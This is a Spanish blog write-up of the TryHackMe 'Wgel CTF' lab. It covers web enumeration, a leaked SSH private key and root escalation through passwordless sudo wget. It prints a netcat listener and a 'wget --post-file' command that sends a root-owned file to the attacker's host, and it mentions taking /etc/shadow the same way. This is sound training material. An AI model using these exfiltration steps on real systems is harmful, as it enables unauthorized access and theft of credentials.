Wgel CTF – TryHackMe

Wgel CTF – TryHackMe

Siguiendo con la serie de write-ups de TryHackMe en este blog, hoy vamos a realizar la máquina Wgel-CTF de TryHackMe, en ella, gracias a la recopilación de información podremos obtener el acceso de usuario, obteniendo así la bandera del usuario y gracias a wget podremos obtener la bandera de root. He de decir, que este fue uno de los primeros write-ups que escribí y guarde amablemente en un .docx por meses hasta subirlo hoy, así que perdonar por la asombrosa calidad de las imágenes.

Dificultad asignada por THM: Fácil

La ip de la máquina en mi caso será: 10.10.236.177

Esta sala se divide en las siguientes fases:

Lo dicho, el objetivo de esta sala es obtener la bandera del usuario y la bandera de root, vamos a ello:

Bandera de usuario:

Bueno, sabemos que es un sistema Linux, ahora hay que enumerar los posibles puertos abiertos en la máquina y ver qué servicios están corriendo en ella, usando para ello nmap:

Bueno, podemos ver que tiene el puerto 22 (SSH) y el 80 (HTTP) abiertos, partiendo de esto, entramos al servidor web, el cual es simplemente un Apache:

Pero hay algo raro. Al instalar un Apache, la página por defecto no es exactamente así, esta tiene algo distinto, he hecho una edición en comparación de la página que viene por defecto y la de esta máquina así que juzga tú mismo:

Esa diferencia me hizo sospechar que a lo mejor se ha tocado el código del html, así que por las dudas es mejor inspeccionarlo y al hacerlo, encontraremos esto:

Un comentario que dice traducido al español: “Jessie no te olvides de actualizar el sitio web”, ¿Jessie?, pues ya tenemos un posible nombre de usuario para intentar iniciar sesión en el servicio ssh.

En este punto poco más he podido hacer, lo que haremos ahora es ver los directorios que tiene el sitio, para ello usaremos gobuster:

Y nos arroja un directorio llamado “sitemap”, en él nos encontramos con una plantilla web, más información sobre ella aquí, inspeccionando el sitio a fondo no hay mucho que sacar, así que he decido volver a usar gobuster pero en este caso para buscar directorios dentro del directorio sitemap:

Y nos arroja que hay un directorio llamado “.ssh” eso si que es interesante, bien, si entramos veremos que hay un archivo llamado “id_rsa” que es el nombre usado comúnmente para el fichero que guarda una clave privada RSA:

Hace un momento logramos obtener el nombre de un posible usuario a lo mejor esto nos permita iniciar sesión con ese usuario por ssh.

Vamos a abrir el archivo y copiar el contenido en un archivo en nuestra máquina al que llamaremos id_rsa mismamente:

Luego intenté usarla para iniciar sesión directamente por ssh con la opción -i seguido del archivo, a ver si funcionaba y para mi enorme sorpresa, funcionó:

Bueno, ya tenemos acceso de usuario, ahora hay que buscar la bandera del usuario, al hacer una pequeña búsqueda en los directorios de mi home no encontré nada, por lo que intuyo que debe estar algo escondida, bueno probemos con find para encontrar algún fichero que tenga en su nombre la palabra “flag”:

Y la tenemos.

Bandera de root:

Ahora necesitamos escalar privilegios a root, probemos con sudo -l para ver que podemos ejecutar con sudo:

Podemos usar sudo, pero claro, nos pedirá la contraseña de “Jessie” y no la tenemos, pero vemos que podemos usar con sudo wget sin necesidad de contraseña, así que haremos algo sencillo, ya que el objetivo principal de esto es obtener las dos banderas (la del usuario y la de root), así que investigando un poco he podido descubrir como poder enviarnos la bandera de root a nuestra máquina aprovechando que podemos ejecutar wget como sudo y sin necesidad de contraseña:

Primero debemos poner netcat de nuestra máquina a la escucha en un puerto, yo usaré el 3131:

nc -lvpn 3131

Acto seguido, en la máquina que comprometimos, donde estamos logeados como “Jessie”, usaremos wget para enviarnos el archivo con la bandera de root, ya que al poder ejecutarlo con sudo podemos acceder a este fichero pero debemos saber exactamente el nombre y la ruta de este archivo, así que usemos la lógica, si el archivo de la bandera del usuario que encontramos se llamaba “user_flag.txt” lo más probable es que el archivo que contiene la bandera de root se llame “root_flag.txt” y esté como ya es habitual en el directorio /root, partiendo de esto escribiremos lo siguiente:

sudo /usr/bin/wget –post-file=/root/root_flag.txt http://<IP_TU_MÁQUINA>:3131

Debes tener en cuenta que la ip de tu maquina debe ser la ip que tienes al conectarte por VPN a TryHackMe, es decir, si no te has conectado a otras VPN y solo a la de TryHackMe, debería ser la ip de la interfaz de red llamada “tun1”, compruébalo con “ifconfig”.

Bien, ejecutamos el comando:

Y hemos obtenido la bandera de root, pero claro, ya que podemos hacer esto, también pudimos enviarnos en un principio el archivo shadow y crackear la contraseña de “Jessie” en el caso de que no hubiésemos sabido donde estaba el archivo que contenía la bandera de root:

Y con esto posteriormente acceder como sudo y conseguir la bandera, pero eso ya te lo dejo a ti si quieres probarlo????.

 

Artículos de ayuda:

https://www.hackingarticles.in/linux-for-pentester-wget-privilege-escalation/

Opinión personal:

  • Difícultad de acceso 7% 7%
  • Difícultad de escalación de privilegios 6% 6%

He hecho esta puntuación en opinión personal, basándome en estos valores:

Fácil: 1% – 30%

Medio: 31% – 70%

Difícil: 71% – 100%

Anuncio

Sobre el Autor

Martin Frias

Founder of Coldd Security

REDES SOCIALES

Newsletter

Estadísticas

  • 106.291
  • 51

TheHackerSnow

0

Share This